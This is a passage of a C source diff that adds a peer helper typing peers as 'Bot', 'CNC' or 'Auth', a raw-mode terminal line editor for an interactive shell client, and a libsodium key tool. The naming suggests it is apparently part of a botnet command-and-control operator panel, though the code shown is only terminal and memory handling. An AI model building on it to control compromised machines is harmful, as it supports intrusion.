+    memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN);
+
+    /* restore NULL terminators */
+    peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
+    peer->ipv4[LAIKA_IPV4_LEN-1] = 0;
+
+    return peer;
+}
+
+void shellP_freePeer(tShell_peer *peer) {
+    laikaM_free(peer);
+}
+
+char *shellP_typeStr(tShell_peer *peer) {
+    switch (peer->type) {
+        case PEER_BOT: return "Bot";
+        case PEER_CNC: return "CNC";
+        case PEER_PANEL: return "Auth";
+        default: return "err";
+    }
+}
\ No newline at end of file
diff --git a/shell/src/sterm.c b/shell/src/sterm.c
new file mode 100644
index 0000000..8eb5b4f
--- /dev/null
+++ b/shell/src/sterm.c
@@ -0,0 +1,176 @@
+#include "lmem.h"
+#include "scmd.h"
+#include "sterm.h"
+
+#define KEY_ESCAPE  0x001b
+#define KEY_ENTER   0x000a
+#define KEY_BACKSPACE 0x007f
+#define KEY_UP      0x0105
+#define KEY_DOWN    0x0106
+#define KEY_LEFT    0x0107
+#define KEY_RIGHT   0x0108
+
+#define cursorForward(x) printf("\033[%dC", (x))
+#define cursorBackward(x) printf("\033[%dD", (x))
+#define clearLine() printf("\033[2K")
+
+struct termios orig_termios;
+char *cmd, *prompt = "$> ";
+int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
+
+void shellT_conioTerm(void) {
+    struct termios new_termios;
+
+    /* take two copies - one for now, one for later */
+    tcgetattr(0, &orig_termios);
+    memcpy(&new_termios, &orig_termios, sizeof(new_termios));
+
+    /* register cleanup handler, and set the new terminal mode */
+    atexit(shellT_resetTerm);
+    new_termios.c_lflag &= ~(ICANON | ECHO);
+    tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
+}
+
+void shellT_resetTerm(void) {
+    tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
+}
+
+void shellT_printf(const char *format, ...) {
+    va_list args;
+    va_list args2;
+    char *buf;
+    int sz, i;
+
+    /* TODO: this is pretty hacky & ugly. find another way without using the heap? */
+    va_start(args, format);
+    va_copy(args2, args);
+    sz = vsnprintf(NULL, 0, format, args);
+    buf = laikaM_malloc(sz+1);
+    vsnprintf(buf, sz+1, format, args2);
+    va_end(args);
+    va_end(args2);
+
+    /* convert output */
+    for (i = 0; i <= sz; i++) {
+        switch (buf[i]) {
+            case '\n': putchar('\n'); putchar('\r'); break;
+            default: putchar(buf[i]); break;
+        }
+    }
+
+    laikaM_free(buf);
+    fflush(stdout);
+}
+
+/* waits for input for timeout. returns true if input is ready to be read, false if no events */
+bool shellT_waitForInput(int timeout) {
+    struct timeval tv;
+    fd_set fds;
+
+    /* setup stdin file descriptor */
+    FD_ZERO(&fds);
+    FD_SET(STDIN_FILENO, &fds);
+
+    /* wait for read events on STDIN_FILENO for timeout period */
+    tv.tv_sec = timeout / 1000;
+    tv.tv_usec = (timeout % 1000) * 1000;
+    return select(1, &fds, NULL, NULL, &tv) > 0;
+}
+
+char shellT_getch(void) {
+    int r;
+    char in;
+
+    if ((r = read(STDIN_FILENO, &in, 1)) > 0) {
+        return in;
+    } else {
+        return r;
+    }
+}
+
+int shellT_kbesc(void) {
+    int c;
+
+    /* if no event waiting, it's KEY_ESCAPE */
+    if (!shellT_waitForInput(0))
+        return KEY_ESCAPE;
+
+    if ((c = shellT_getch()) == '[') {
+        switch (shellT_getch()) {
+            case 'A': c = KEY_UP; break;
+            case 'B': c = KEY_DOWN; break;
+            case 'C': c = KEY_RIGHT; break;
+            case 'D': c = KEY_LEFT; break;
+            default: c = 0; break;
+        }
+    } else {
+        c = 0;
+    }
+
+    /* unrecognized key? consume until there's no event */
+    if (c == 0) {
+        while (shellT_waitForInput(0)) shellT_getch();
+    }
+
+    return c;
+}
+
+int shellT_kbget(void) {
+    char c = shellT_getch();
+    return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
+}
+
+void shellT_printPrompt(void) {
+    clearLine();
+    shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
+    if (cmdCount > cmdCursor)
+        cursorBackward(cmdCount-cmdCursor);
+    fflush(stdout);
+}
+
+void shellT_setPrompt(char *_prompt) {
+    prompt = _prompt;
+}
+
+void shellT_addChar(tShell_client *client, int c) {
+    int i;
+
+    switch (c) {
+        case KEY_BACKSPACE:
+            if (cmdCursor > 0) {
+                laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1);
+                cmdCursor--;
+                shellT_printPrompt();
+            }
+            break;
+        case KEY_LEFT:
+            if (cmdCursor > 0) {
+                cursorBackward(1);
+                --cmdCursor;
+                fflush(stdout);
+            }
+            break;
+        case KEY_RIGHT:
+            if (cmdCursor < cmdCount) {
+                cursorForward(1);
+                cmdCursor++;
+                fflush(stdout);
+            }
+            break;
+        case KEY_ENTER:
+            if (cmdCount > 0) {
+                cmd[cmdCount] = '\0';
+                cmdCount = 0;
+                cmdCursor = 0;
+                shellS_runCmd(client, cmd);
+                shellT_printPrompt();
+            }
+            break;
+        case KEY_UP: case KEY_DOWN: break; /* ignore these */
+        default:
+            laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
+            laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
+            cmd[cmdCursor++] = c;
+            shellT_printPrompt();
+    }
+}
\ No newline at end of file
diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c
index 8cd2484..02ee602 100644
--- a/tools/genkey/src/main.c
+++ b/tools/genkey/src/main.c
@@ -2,7 +2,7 @@
 #include <string.h>
 
 #include "lerror.h"
-#include "lrsa.h"
+#include "lsodium.h"
 
 int main(int argv, char **argc) {
     unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];